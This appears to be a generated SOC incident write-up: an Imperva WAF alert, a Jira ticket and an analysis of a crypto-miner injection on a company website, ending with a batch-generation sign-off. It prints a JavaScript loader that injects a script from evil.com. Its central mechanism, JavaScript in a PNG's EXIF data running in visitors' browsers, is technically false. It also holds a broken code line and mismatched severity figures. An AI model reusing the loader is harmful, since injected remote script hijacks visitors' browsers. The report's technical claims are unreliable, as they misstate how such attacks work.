Imperva WAF Alert Details
Alert ID: IMPERVA-CONTENT-INJECT-1659-7842 Alert Time: 2024-03-14 10:30:22 EST Severity: HIGH (85/100) Source: Imperva Web Application Firewall Rule: “Suspicious Content Injection Detected – JavaScript Added” MITRE ATT&CK: T1659 – Content Injection
Alert Details:
Detection: Malicious JavaScript injected into website pages
Target: www.company.com (Public Website) Time: 10:15-10:30 EST
Injection Details:
Attacker exploited vulnerable file upload to replace logo.png with malicious image
Image contains embedded JavaScript (steganography)
JavaScript loads from malicious domain and injects crypto-miner
Sequence:
10:15:22 – POST /admin/upload.php (file upload: logo.png)
10:15:45 – File uploaded successfully
10:16:12 – GET /images/logo.png (served to visitors)
10:16:30 – JavaScript in image executes in visitor browsers
10:17:00 – Visitors redirected to malicious ad server
10:18:00 – Crypto-miner loaded in background
Imperva Detection:
WAF detected anomalous file upload (image with embedded script)
Post-analysis: logo.png contains JavaScript in EXIF metadata
JavaScript: document.write(”)
Impact:
All visitors to website (10,000+ in 15 minutes) exposed to malicious script
Crypto-miner runs in their browsers
SOC Investigation Process
Step
Action
Tools Used
Findings
1. Alert Validation
Verify Imperva alert
Imperva WAF Console
Confirmed content injection attack
2. Immediate Action
Remove malicious image
Web Team
Replaced logo.png with clean version
3. Vulnerability Assessment
Identify how injection occurred
Code Review
File upload endpoint allowed image with embedded script
4. Patch Vulnerability
Fix file upload validation
Web Team
Implemented strict MIME type checking and content validation
5. IP Blocking
Block attacker IP
WAF, Firewall
185.143.221[.]89 blocked
6. PR Response
Monitor for customer complaints
PR Team
No significant complaints; issue resolved quickly
Jira Incident Report
Ticket: SOC-2024-220 Summary: T1659 – Content Injection via Malicious Image with Embedded JavaScript Status: RESOLVED Resolution: MALICIOUS – Content Removed, Vulnerability Patched Priority: P2 – MEDIUM Labels: T1659, content-injection, waf, imperva, defacement Components: Web-Security, Application-Security
INCIDENT ANALYSIS REPORT
1. Initial Context:
Detection Source: Imperva Web Application Firewall.
Alert: “Suspicious Content Injection Detected – JavaScript Added”.
Target: www.company.com.
Method: Malicious image (logo.png) with embedded JavaScript.
Impact: 10,000+ visitors exposed to crypto-miner.
Time: 2024-03-14 10:30 EST.
Technique: MITRE ATT&CK T1659 – Content Injection.
2. Technical Analysis:
Attack Chain:
10:00 – Attacker scans for vulnerable file upload
10:05 – Finds /admin/upload.php (no authentication)
10:15 – Uploads logo.png (image with embedded JavaScript in EXIF)
10:16 – Image served to all visitors
10:17-10:30 – Malicious script loads crypto-miner in visitor browsers
10:30 – Imperva detects
Malicious Image:
File: logo.png (appears normal)
EXIF metadata: Contains JavaScript
JavaScript:
var s = document.createElement(‘script’);
s.src = ‘https://evil.com/analytics.js’;
document.head.appendChild(s);
analytics.js: Loads Coinhive crypto-miner (Monero)
Impact:
10,000+ visitors affected (estimated 15 minutes)
Their CPU used for mining
No data stolen
Vulnerability:
Upload endpoint allowed images without validating content
No authentication on admin functions
3. Investigation Findings:
Timeline:
10:00 – Attack begins
10:15 – Upload
10:16-10:30 – Malicious content served
10:30 – Alert
10:32 – SOC investigates
10:33 – Image replaced
10:35 – Vulnerability patched
Indicators of Compromise (IoCs):
File:
– logo.png (SHA256: a1b2c3d4…) – replaced
Network:
– evil.com (blocked)
– 185.143.221[.]89 (attacker IP)
4. Containment Actions:
Immediate Actions:
Replaced logo.png with clean version.
Blocked attacker IP.
Blocked evil.com domain.
Cleared browser cache (forced via version change).
Vulnerability Remediation:
Added authentication to upload endpoint.
Implemented strict MIME type checking.
Added content validation (scan for embedded scripts).
Deployed WAF rule to block image uploads with embedded code.
PR Response:
Monitored social media (no backlash).
No customer complaints received.
5. Root Cause Analysis:
Primary Cause: Unauthenticated file upload with insufficient validation.
Contributing Factors:
No authentication on admin functions.
No content validation for images.
6. Business Impact:
Operational Impact: Website served malicious content for 15 minutes.
Reputational Impact: Minimal (quick recovery, low awareness).
Financial Impact: None.
7. Remediation & Prevention:
Completed Actions:
Malicious content removed.
Vulnerability patched.
Attacker blocked.
Technical Controls Enhanced:
Added authentication to all admin functions.
Implemented content validation for uploaded files.
Deployed WAF rules for content injection.
8. Conclusion:
An attacker exploited an unauthenticated file upload to inject malicious JavaScript into the company website, causing visitors’ browsers to mine cryptocurrency. Imperva detected the attack, enabling rapid removal and patching. No data was stolen.
Closure Rationale: Content removed; vulnerability patched; attacker blocked.
Analyst: [Your Name], SOC Analyst Date: 2024-03-14 11:30 EST
End of Batch 36
Ready for your next batch of prompts whenever you are.